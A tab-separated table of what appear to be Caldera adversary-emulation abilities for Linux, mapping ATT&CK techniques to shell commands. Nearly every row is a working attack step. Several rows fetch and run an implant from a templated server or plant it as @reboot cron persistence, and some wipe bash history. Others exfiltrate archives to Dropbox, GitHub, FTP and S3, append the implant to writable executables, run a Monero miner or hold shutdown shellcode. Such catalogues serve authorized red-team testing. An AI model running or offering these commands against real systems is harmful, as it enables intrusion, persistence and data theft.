mitre_id	technique_name	tactic	ability_id	ability_name	executor	command_excerpt
T1497.003	Virtualization/Sandbox Evasion: Time Based Evasion	defense-evasion	36eecb80-ede3-442b-8774-956e906aff02	1-min sleep	sh	sleep 60
T1548	Abuse Elevation Control Mechanism	privilege-escalation	7f6ea111-1528-4bf7-9ae1-3ee9c3eb3218	Abuse Linux Capability: Python3	sh	"python3 -c ""import os; server='#{server}'; curl_cmd=f'curl -s -X POST -H \""file:sandcat.go\"" -H \""platform:linux\"" {server}/file/download > splunkd'; chmod_cmd='chmod +x splunkd'; os.system(curl_cmd); os.system(chmod_cmd); os.execl('/bin/sh', 'sh', '-p', '-c', f'./splunkd -server {server} -group red')"""
T1119	Automated Collection	collection	10fad81e-3f68-47be-83b6-fbee7711c6a9	Advanced File Search and Stager	sh	chmod +x ./file_search.sh; ./file_search.sh --extensions '#{linux.included.extensions}' --directories '#{linux.included.directories}' --exclude-dir '#{linux.excluded.directories}' --accessed '#{file.last.accessed}' --modified '#{file.last.modified}' --search-strings '#{file.sensitive.content}' --staging-directory '#{linux.staging.location}' --safe-mode '#{safe.mode.enabled}' --pseudo-ext '#{pseudo.data.identifier}'
T1070.003	Indicator Removal on Host: Clear Command History	defense-evasion	43b3754c-def4-4699-a673-1d85648fda6a	Avoid logs	sh	> $HOME/.bash_history && unset HISTFILE
T1518	Software Discovery	discovery	830bb6ed-9594-4817-b1a1-c298c0f9f425	Check Chrome	sh	which google-chrome
T1518	Software Discovery	discovery	9849d956-37ea-49f2-a8b5-f2ca080b315d	Check Go	sh	which go
T1518	Software Discovery	discovery	b18e8767-b7ea-41a3-8e80-baf65a5ddef5	Check Python	sh	python3 --version;python2 --version;python --version
T1018	Remote System Discovery	discovery	85341c8c-4ecb-4579-8f53-43e3e91d7617	Collect ARP details	sh	arp -a
T1560.001	Archive Collected Data: Archive via Utility	exfiltration	2f90d4de-2612-4468-9251-b220e3727452	Compress Git Repository	sh	"tar -czf #{host.dir.git}.tar.gz -C ""#{host.dir.git}"" .; printf #{host.dir.git}.tar.gz;"
T1030	Data Transfer Size Limits	exfiltration	5c5b0392-1daa-45e1-967c-2f361ce78849	Compress Staged Directory (Password Protected) and Split Into Smaller Chunks	sh	tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase '#{host.archive.password}' > #{host.dir.staged}.tar.gz.gpg; split -b#{file.size.chunk} '#{host.dir.staged}.tar.gz.gpg' '#{host.dir.staged}'/calderachunk; rm '#{host.dir.staged}.tar.gz.gpg'; find '#{host.dir.staged}' -maxdepth 1 -name 'calderachunk*' 2>/dev/null;
T1560.001	Archive Collected Data: Archive via Utility	exfiltration	300157e5-f4ad-4569-b533-9d1fa0e74d74	Compress staged directory	sh	tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz
T1560.001	Archive Collected Data: Archive via Utility	collection	30a8cf10-73dc-497c-8261-a64cc9e91505	Compress staged directory (Password Protected)	sh	tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase #{host.archive.password} > #{host.dir.staged}.tar.gz.gpg && echo #{host.dir.staged}.tar.gz.gpg
T1570	Lateral Tool Transfer	lateral-movement	4908fdc4-74fc-4d7c-8935-26d11ad26a8d	Copy 54ndc47 (WinRM and SCP)	sh	scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-linux #{remote.ssh.cmd}:~/sandcat.go
T1115	Clipboard Data	collection	b007fe0c-c6b0-4fda-915c-255bbc070de2	Copy Clipboard	sh	xclip -o
T1503.003	Scheduled Task/Job: Cron	persistence	831d5b9d-7867-4bca-98f5-bc235445614c	Create persistence cron job for current user	sh	"if crontab -l &> /dev/null; then (crontab -l; echo '@reboot sleep 180 && server=""http://#{caldera.server}:8888""; curl -s -X POST -H ""file:sandcat.go"" -H ""platform:linux"" $server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server $server -group red -v') | crontab -; else echo '@reboot sleep 180 && server=""http://#{caldera.server}:8888"";curl -s -X POST -H ""file:sandcat.go"" -H ""platform:linux"" $server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server $"
T1053.003	Scheduled Task/Job: Cron	persistence	0cd686c7-8d70-434e-a20c-2fc58f51a51a	Create persistence cron job for root user (requires sudo)	sh	"echo #{sudo.password} | sudo -S sh -c 'if crontab -l &> /dev/null; then (crontab -l; echo ""@reboot sleep 180 && server=\""http://#{caldera.server}:8888\""; curl -s -X POST -H \""file:sandcat.go\"" -H \""platform:linux\"" \$server/file/download > /tmp/splunkd;chmod +x /tmp/splunkd;/tmp/./splunkd -server \$server -group red -v"") | crontab -; else echo ""@reboot sleep 180 && server=\""http://#{caldera.server}:8888\"";curl -s -X POST -H \""file:sandcat.go\"" -H \""platform:linux\"" \$server/file/download > /tmp/"
T1074.001	Data Staged: Local Data Staging	collection	6469befa-748a-4b9c-a96d-f191fde47d89	Create staging directory	sh	mkdir -p staged && echo $PWD/staged
T1496	Resource Hijacking	impact	46da2385-cf37-49cb-ba4b-a739c7a19de4	Crypto (Monero) Mining	sh	wget https://github.com/xmrig/xmrig/releases/download/v6.11.2/xmrig-6.11.2-linux-x64.tar.gz; tar -xf xmrig-6.11.2-linux-x64.tar.gz; timeout 60 ./xmrig-6.11.2/xmrig; [ $? -eq 124 ]
T1033	System Owner/User Discovery	discovery	bd527b63-9f9e-46e0-9816-b8434d2b8989	Current User	sh	whoami
T1070.004	Indicator Removal on Host: File Deletion	defense-evasion	5f844ac9-5f24-4196-a70d-17f0bd44a934	Deadman - Delete agent file	sh	"path=""$(pwd)/#{exe_name}""; num_processes=$(for id in $(pgrep -f #{exe_name}); do lsof -p $id 2> /dev/null | grep ""$path""; done | wc -l); if [ ""$num_processes"" -le 1 ]; then /bin/rm -f ""$path""; fi;"
T1070.004	Indicator Removal on Host: File Deletion	defense-evasion	4cd4eb44-29a7-4259-91ae-e457b283a880	Delete payload	sh	
T1018	Remote System Discovery	discovery	ce485320-41a4-42e8-a510-f5a8fe96a644	Discover Mail Server	sh	"host ""#{target.org.domain}"" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev"
T1499	Endpoint Denial of Service	impact	2fe2d5e6-7b06-4fc0-bf71-6966a1226731	Disrupt WIFI	sh	./wifi.sh off
T1552.003	Unsecured Credentials: Bash History	credential-access	422526ec-27e9-429a-995b-c686a29561a4	Dump history	sh	cat ~/.bash_history
T1567.002	Exfiltration to Cloud Storage	exfiltration	3ce95a28-25fc-4a7e-a0cd-0fdb190e2081	Exfil Compressed Archive to Dropbox	sh	"LocalFile='#{host.dir.compress}'; RemoteName=""$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)""; curl -X POST https://content.dropboxapi.com/2/files/upload --header ""Authorization: Bearer #{dropbox.api.key}"" --header ""Dropbox-API-Arg: {\""path\"": \""/#{dropbox.target.dir}/$RemoteName\"",\""mode\"": \""add\"",\""autorename\"": true,\""mute\"": false,\""strict_conflict\"": false}"" --header ""Content-Type: application/octet-stream"" --data-binary @#{host.dir.compress}"
T1048.003	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	exfiltration	d754878c-17dd-46dc-891c-a993f8a10336	Exfil Compressed Archive to FTP Server	sh	"LocalFile='#{host.dir.compress}'; RemoteName=""$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)""; curl -T #{host.dir.compress} ftp://#{ftp.server.address}/$RemoteName --user #{ftp.user.name}:'#{ftp.user.password}'"
T1567.001	Exfiltration to Code Repository	exfiltration	0582dc26-e0cf-4645-88cf-f37a02279976	Exfil Compressed Archive to Github Gist	sh	"GHUser=""#{github.user.name}""; GHPAT=""#{github.access.token}""; FileContent=$(base64 #{host.dir.compress}); LocalFile='#{host.dir.compress}'; RemoteFile=""$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)""; tmp_file=$(mktemp); echo ""{\""public\"": false,\""files\"": {\""$RemoteFile\"": {\""content\"": \""${FileContent}\""}}}"" > $tmp_file; curl --silent --output /dev/null --show-error --fail -X POST -d @$tmp_file -u $GHUser:$GHPAT https://api.github.com/gists; rm $tmp_file"
T1567.001	Exfiltration to Code Repository	exfiltration	4a1120a5-971c-457f-bb07-60641b4723fd	Exfil Compressed Archive to Github Repository	sh	"GHUser=""#{github.user.name}""; GHRepo=""#{github.repository.name}""; GHPAT=""#{github.access.token}""; GHBranch='#{github.repository.branch}'; LocalFile='#{host.dir.compress}'; Header=""Authorization: token $GHPAT""; RemoteName=""$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)""; echo ""{\""message\"":\""Committed $RemoteName\"", \""branch\"":\""$GHBranch\"", \""content\"":\"""" >/tmp/b64; base64 -w 0 $LocalFile >>/tmp/b64; echo ""\""}"" >>/tmp/b64; content=$(curl -s -X PUT -H ""Accept: application/vnd.github"
T1567.002	Exfiltration to Cloud Storage	exfiltration	e7bf5dc7-62e4-48b2-acf8-abaf8734c19c	Exfil Compressed Archive to S3 via AWS CLI	sh	"LocalFile='#{host.dir.compress}'; RemoteName=""exfil-#{paw}-$(basename $LocalFile)""; aws s3 cp #{host.dir.compress} s3://#{s3.source.name}/$RemoteName;"
T1567.002	Exfiltration to Cloud Storage	exfiltration	dd4d3d6f-be0a-4d80-ada2-0b7f3228d2dc	Exfil Compressed Archive to S3 via Golang	native	"s3upload ""#{host.dir.compress}"" ""#{s3.source.region}"" ""#{s3.source.name}"" ""aws-#{paw}-compressed"" 45s"
T1567.001	Exfiltration to Code Repository	exfiltration	a201bec2-a193-4b58-bf0e-57fa621da474	Exfil Directory Files to GitHub	sh	"GHUser=""#{github.user.name}""; GHRepo=""#{github.repository.name}""; GHPAT=""#{github.access.token}""; GHBranch='#{github.repository.branch}'; LocalDirectory=#{host.dir.staged}; Header=""Authorization: token $GHPAT""; for file in $LocalDirectory/*.*; do TempName=$(echo $file | sed ""s/ /-/g"") RemoteName=""$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename ""$TempName"")""; echo ""{\""message\"":\""Committed $(basename $TempName) at: $(date)\"", \""branch\"":\""$GHBranch\"", \""content\"":\"""" >/tmp/b64; base64 -w 0 ""$file"
T1041	Exfiltration Over C2 Channel	exfiltration	ea713bc4-63f0-491c-9a6f-0b01d560b87e	Exfil staged directory	sh	"curl -F ""data=@#{host.dir.compress}"" --header ""X-Request-ID: `hostname`-#{paw}"" #{server}/file/upload"
T1565.001	Data Manipulation: Stored Data Manipulation	impact	55f9600a-756f-496b-b27f-682052dc429c	File Hunter Mission	sh	./mission.go -duration 60 -extension .caldera -dir '/'
T1005	Data from Local System	collection	720a3356-eee1-4015-9135-0fc08f7eb2d5	Find Git Repositories	sh	"for directoryname in $(find /home/ -name '.git' -type d 2>/dev/null | head -5); do printf ""$(dirname ""$directoryname"")\n""; done;"
T1049	System Network Connections Discovery	discovery	638fb6bb-ba39-4285-93d1-7e4775b033a8	Find System Network Connections	sh	netstat -anto
T1082	System Information Discovery	discovery	30732a56-4a23-4307-9544-09caf2ed29d5	Find deletable dirs (per user)	sh	find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \;
T1005	Data from Local System	collection	90c2efaa-8205-480d-8bb6-61d90dbaf81b	Find files	sh	find / -name '*.#{file.sensitive.extension}' -type f -not -path '*/\.*' -size -500k 2>/dev/null | head -5
T1087.001	Account Discovery: Local Account	discovery	c1cd6388-3ced-48c7-a511-0434c6ba8f48	Find local users	sh	cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#'
T1552.004	Unsecured Credentials: Private Keys	credential-access	de632c2d-a729-4b77-b781-6a6b09c148ba	Find private keys	sh	"for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name ""*${i}"" 2>/dev/null;done;"
T1057	Process Discovery	discovery	3b5db901-2cb8-4df7-8043-c4628a6a5d5a	Find user processes	sh	ps aux | grep #{host.user.name}
T1046	Network Service Scanning	discovery	3a2ce3d5-e9e2-4344-ae23-470432ff8687	Fingerprint network services	sh	nmap -sV -p #{remote.host.port} #{remote.host.ip}
T1124	System Time Discovery	discovery	fa6e8607-e0b1-425d-8924-9b894da5a002	Get System Time	sh	"date -u +""%Y-%m-%dT%H:%M:%SZ"""
T1033	System Owner/User Discovery	discovery	c0da588f-79f0-4263-8998-7496b1a40596	Identify active user	sh	whoami
T1491	Defacement	impact	47d08617-5ce1-424a-8cc5-c9c978ce6bf9	Leave note	sh	"echo ""proof that this machine was hacked."" > message.txt"
T1082	System Information Discovery	discovery	46098c66-8d9a-4d23-8a95-dd5021c385ae	Linux Enumeration & Privilege Escalation Discovery Script	sh	wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh > /tmp/exfil.txt; curl -F 'data=@/tmp/exfil.txt' #{server}/file/upload ; cat /tmp/exfil.txt;
T1083	File and Directory Discovery	discovery	52177cc1-b9ab-4411-ac21-2eadc4b5d3b8	List Directory	sh	ls
T1349	Build or acquire exploits	build-capabilities	bed8f28e-c0ed-463e-9e31-d5607e5473df	Load Metasploit Abilities	sh	msfconsole -r msf_extract.rb #{app.contact.http} #{app.api_key.red}
T1083	File and Directory Discovery	discovery	a41c2324-8c63-4b15-b3c5-84f920d1f226	Locate file from printer queue	sh	find ~ -type f -name #{host.print.file} 2>/dev/null
T1105	Ingress Tool Transfer	command-and-control	356d1722-7784-40c4-822b-0cf864b0b36d	Manx	sh	"server=""#{app.contact.http}""; socket=""#{app.contact.tcp}""; contact=""tcp""; curl -s -X POST -H ""file:manx.go"" -H ""platform:linux"" $server/file/download > #{agents.implant_name}; chmod +x #{agents.implant_name}; ./#{agents.implant_name} -http $server -socket $socket -contact $contact -v"
T1254	Conduct active scanning	technical-information-gathering	567eaaba-94cc-4a27-83f8-768e5638f4e1	NMAP scan	sh	./scanner.sh #{target.ip}
T1016	System Network Configuration Discovery	discovery	e8017c46-acb8-400c-a4b5-b3362b5b5baa	Network Interface Configuration	sh	sudo ifconfig
T1005	Data from Local System	collection	02de522f-7e0a-4544-8afc-0c195f400f5f	Parse SSH config	sh	pip install -q stormssh 2> /dev/null && storm list | sed 's/\x1b\[[0-9;]*m//g'
T1018	Remote System Discovery	discovery	5f77ecf9-613f-4863-8d2f-ed6b447a4633	Parse SSH known_hosts	sh	cat ~/.ssh/known_hosts
T1201	Password Policy Discovery	discovery	e82f39e2-56f8-4f19-8376-b007f9ac5f8a	Password Policy	sh	cat /etc/pam.d/common-password
T1069.001	Permission Groups Discovery: Local Groups	discovery	5c4dd985-89e3-4590-9b57-71fed66ff4e2	Permission Groups Discovery	sh	groups
T1016	System Network Configuration Discovery	discovery	a0676fe1-cd52-482e-8dde-349b73f9aa69	Preferred WIFI	sh	./wifi.sh pref
T1083	File and Directory Discovery	discovery	6e1a53c0-7352-4899-be35-fa7f364d5722	Print Working Directory	sh	pwd
T1071.001	Application Layer Protocol: Web Protocols	command-and-control	0ab383be-b819-41bf-91b9-1bd4404d83bf	Ragdoll	sh	"server=""#{app.contact.http}""; curl -s -X POST -H ""file:ragdoll.py"" -H ""platform:linux"" $server/file/download > ragdoll.py; pip install requests beautifulsoup4; python ragdoll.py -W $server#{app.contact.html}"
T1548.001	Abuse Elevation Control Mechanism: Setuid and Setgid	privilege-escalation	cc5fa0d8-6e41-432b-a74a-d7cfc6c35d8f	SUID Find & Exploit	sh	./transfer_suid.sh #{server}
T1105	Ingress Tool Transfer	command-and-control	2f34977d-9558-4c12-abad-349716777c6b	Sandcat	sh	"server=""#{app.contact.http}""; curl -s -X POST -H ""file:sandcat.go"" -H ""platform:linux"" $server/file/download > #{agents.implant_name}; chmod +x #{agents.implant_name}; ./#{agents.implant_name} -server $server -group red -v"
T1046	Network Service Scanning	discovery	47abe1f5-55a5-46cc-8cad-506dac8ea6d9	Scan IP for ports	sh	python3 scanner.py -i #{remote.host.ip}
T1016	System Network Configuration Discovery	discovery	9a30740d-3aa8-4c23-8efa-d51215e8a5b9	Scan WIFI networks	sh	./#{payload:9f639067-370a-40ba-b7ac-6f1c15d5a158} scan
T1029	Scheduled Transfer	exfiltration	110cea7a-5b03-4443-92ee-7ccefaead451	Scheduled Exfiltration	sh	"crontab -l > /tmp/origcron; crontab -l > /tmp/mycron; echo ""0 12 * * * curl -F ""data=@#{host.dir.compress}"" --header ""X-Request-ID: `hostname`-#{paw}"" #{server}/file/upload"" >> /tmp/mycron; crontab /tmp/mycron;"
T1499	Endpoint Denial of Service	impact	0821b0b0-7902-4a7b-8052-80bda5a43684	Shutdown Target System	shellcode_amd64	0x48, 0x31, 0xc0, 0x48, 0x31, 0xd2, 0x50, 0x6a, 0x77, 0x66, 0x68, 0x6e, 0x6f, 0x48, 0x89, 0xe3, 0x50, 0x66, 0x68, 0x2d, 0x68, 0x48, 0x89, 0xe1, 0x50, 0x49, 0xb8, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x49, 0xba, 0x73, 0x68, 0x75, 0x74, 0x64, 0x6f, 0x77, 0x6e, 0x41, 0x52, 0x41, 0x50, 0x48, 0x89, 0xe7, 0x52, 0x53, 0x51, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x83, 0xc0, 0x3b, 0x0f, 0x05
T1074.001	Data Staged: Local Data Staging	collection	4e97e699-93d7-4040-b5a3-2e906a58199e	Stage sensitive files	sh	cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}
T1059.004	Command and Scripting Interpreter: Unix Shell	execution	b1d41972-3ad9-4aa1-8f7f-05f049a2980e	Start 54ndc47	sh	nohup ./sandcat.go -server #{server} &
T1021.004	Remote Services: SSH	lateral-movement	10a9d979-e342-418a-a9b0-002c483e0fa6	Start 54ndc47 (2)	sh	scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-linux #{remote.ssh.cmd}:~/sandcat.go && ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'
T1057	Process Discovery	discovery	5a39d7ed-45c9-4a79-b581-e5fb99e24f65	System processes	sh	ps aux
T1537	Transfer Data to Cloud Account	exfiltration	ba0deadb-97ac-4a4c-aa81-21912fc90980	Transfer Compressed Archive to Separate S3 Bucket via AWS CLI	sh	"LocalFile='#{host.dir.compress}'; RemoteName=""exfil-#{paw}-$(basename $LocalFile)""; aws s3 cp s3://#{s3.source.name}/$RemoteName s3://#{s3.destination.name} --acl bucket-owner-full-control;"
T1057	Process Discovery	discovery	335cea7b-bec0-48c6-adfb-6066070f5f68	View Processes	sh	ps
T1120	Peripheral Device Discovery	discovery	6c91884e-11ec-422f-a6ed-e76774b0daac	View printer queue	sh	lpq -a
T1574.010	Hijack Execution Flow: Services File Permissions Weakness	privilege-escalation	10681f2f-be03-44af-858d-f2b0812df185	Weak executable files	sh	"find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF ""54NDC47_SCRIPT"" ""{}"" || echo ""#54NDC47_SCRIPT\n"" ""chmod +x sandcat.go-linux && sandcat.go-linux"" >> ""{}""; ls ""{}"" ' \; | echo ""complete"""
T1005	Data from Local System	collection	89955f55-529d-4d58-bed4-fed9e42515ec	cURL socket address	sh	curl #{remote.host.socket}
T1057	Process Discovery	discovery	0093c0e0-68b6-4cab-b0d4-2b40b3c78f71	enumerate VMs	sh	acrnctl list